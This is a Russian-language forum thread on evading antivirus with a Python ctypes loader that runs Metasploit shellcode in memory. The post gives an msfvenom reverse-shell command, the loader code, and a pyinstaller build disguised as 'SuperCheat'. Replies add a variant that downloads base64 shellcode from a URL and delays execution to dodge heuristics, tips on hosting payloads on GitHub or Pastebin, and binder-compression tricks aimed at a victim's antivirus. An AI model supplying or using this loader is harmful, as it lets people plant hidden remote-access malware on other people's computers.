• Познакомьтесь с пентестом веб-приложений на практике в нашем новом бесплатном курсе

    «Анализ защищенности веб-приложений»

    🔥 Записаться бесплатно!

  • CTF с учебными материалами Codeby Games

    Обучение кибербезопасности в игровой форме. Более 200 заданий по Active Directory, OSINT, PWN, Веб, Стеганографии, Реверс-инжинирингу, Форензике и Криптографии. Школа CTF с бесплатными курсами по всем категориям.

Статья Обход антивируса с помощью ctypes (python)

Привет колеги.
Сегодня покажу очень простенький пример обхода антивируса с помощью библиотеки ctypes в языке программирования python.
Суть обхода в том эта библиотека дает нам возможность выполнять код C|C++ в питоновском скрипте.
И мы смело сможем запустить шеллкод метасплоита в оперативной памяти.

Вы уж простите много писать пока не буду,времени очень мало у меня,отпишу потом пояснения в коментариях если возникнут вопросы у кого то .))

Вообщем ближе к делу

И так проделываем следующие шаги:
1)Создаем шеллкод командой:
Код:
msfvenom -p windows/meterpreter/reverse_https lport=1337 lhost=192.168.137.137 -b \0x0a\0x0b\0xff -f c
2.jpg

тут ничего пояснять думаю не нужно ,лишь обратить внимания стоит на параметр -b которым мы указываем которые плохие символы в шеллкоде нужно не использовать.

Дальше создаем скрипт на питоне следуещого вида:

Код:
from ctypes import *

shellcode = ("Тут_копипастим_наш шеллкод_созданный_через_msf_venom");

tralivali = create_string_buffer(shellcode, len(shellcode))
shell = cast(tralivali, CFUNCTYPE(c_void_p))

shell()

4.png


3.png


Собираем через pyinstaller на Windows системе..
Код:
C:\Python27\Scripts\pyinstaller.exe -F --noconsole --onefile --icon=C:\Users\CorpOfHack\Desktop\contacts.ico C:\Users\CorpOfHack\Desktop\SuperCheat.py
1.jpg



Хочу заметить что когда я не использовал картинку мне показало на 0/35
а когда добавил иконку то 8/35. Почему пока не выяснял.

5.png



А вот

Ну в любом случае результат не плохой) Все спасибо за внимания.Надеюсь был полезен)

Вот видосик)

 
C

cacaocaca

Congratulation again bro and for your time for text it this is good so for early and thanks for your code and you say right without icon bypass some detection .. One similar thing happen if you use easybinder for binder exe and change compression to "zlib,bzip2,lzma" have result of detection always different the more good is always lzma bzip2 but depend if you already know the av of victim need try any compression maybe ;) Good lucky bro have a nice day ;)
 
  • Нравится
Реакции: <~DarkNode~>

Celestial

Green Team
20.12.2016
81
91
BIT
0
Универсальный метод :

#!/usr/bin/python

from ctypes import *
from base64 import b64decode # Тут указываем свой метод шифрования
from urllib import urlopen
from time import sleep

URL = " " # Здесь указываем страницу со своим шелл-кодом

downloader = urlopen(URL) # Скачать содержимое
shellcode = b64decode(downloader.read()) # Декодирование шелл-кода
sleep(31) # Избегаем эвристики за счет времени
shellcode_buffer = create_string_buffer(shellcode, len(shellcode))
shell = cast(shellcode_buffer, CFUNCTYPE(c_void_p))
shell()
 
Последнее редактирование:

Celestial

Green Team
20.12.2016
81
91
BIT
0
Да, и для лучшего понимания питоном шелл-кода на С, лучше убрать изначально все двойные ковычки и новые линии таким образом:

./msfpayload windows/meterpreter/reverse_tcp LHOST=127.0.0.1 C | tr -d '"' | tr -d '\n' | more
 

<~DarkNode~>

~^M1st3r_Bert0ni^~
Platinum
19.10.2016
724
3 098
BIT
0
Универсальный метод :

#!/usr/bin/python

from ctypes import *
from base64 import b64decode # Тут указываем свой метод шифрования
from urllib import urlopen
from time import sleep

URL = " " # Здесь указываем страницу со своим шелл-кодом

downloader = urlopen(URL) # Скачать содержимое
shellcode = b64decode(downloader.read()) # Декодирование шелл-кода
sleep(31) # Избегаем эвристики за счет времени
shellcode_buffer = create_string_buffer(shellcode, len(shellcode))
shell = cast(shellcode_buffer, CFUNCTYPE(c_void_p))
shell()
Да использовать принцип веб деливери практичнее всегда.
Я лишь показал возможности ctypes библиотеки.
А так ,да. Обычно шеллкод размещают или на гитхабе или пастебине.
 

Shadow User

Green Team
10.07.2017
138
29
BIT
0
Пробовал под Linux, но не работает. Падает от сегментации памяти. (pyinstaller не использовал.)
msfvenom -p 'linux/x64/meterpreter/bind_tcp' LPORT=772 -f c -o payload
Screenshot at 2020-07-29 20-18-21.png
Screenshot at 2020-07-29 20-20-56.png
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!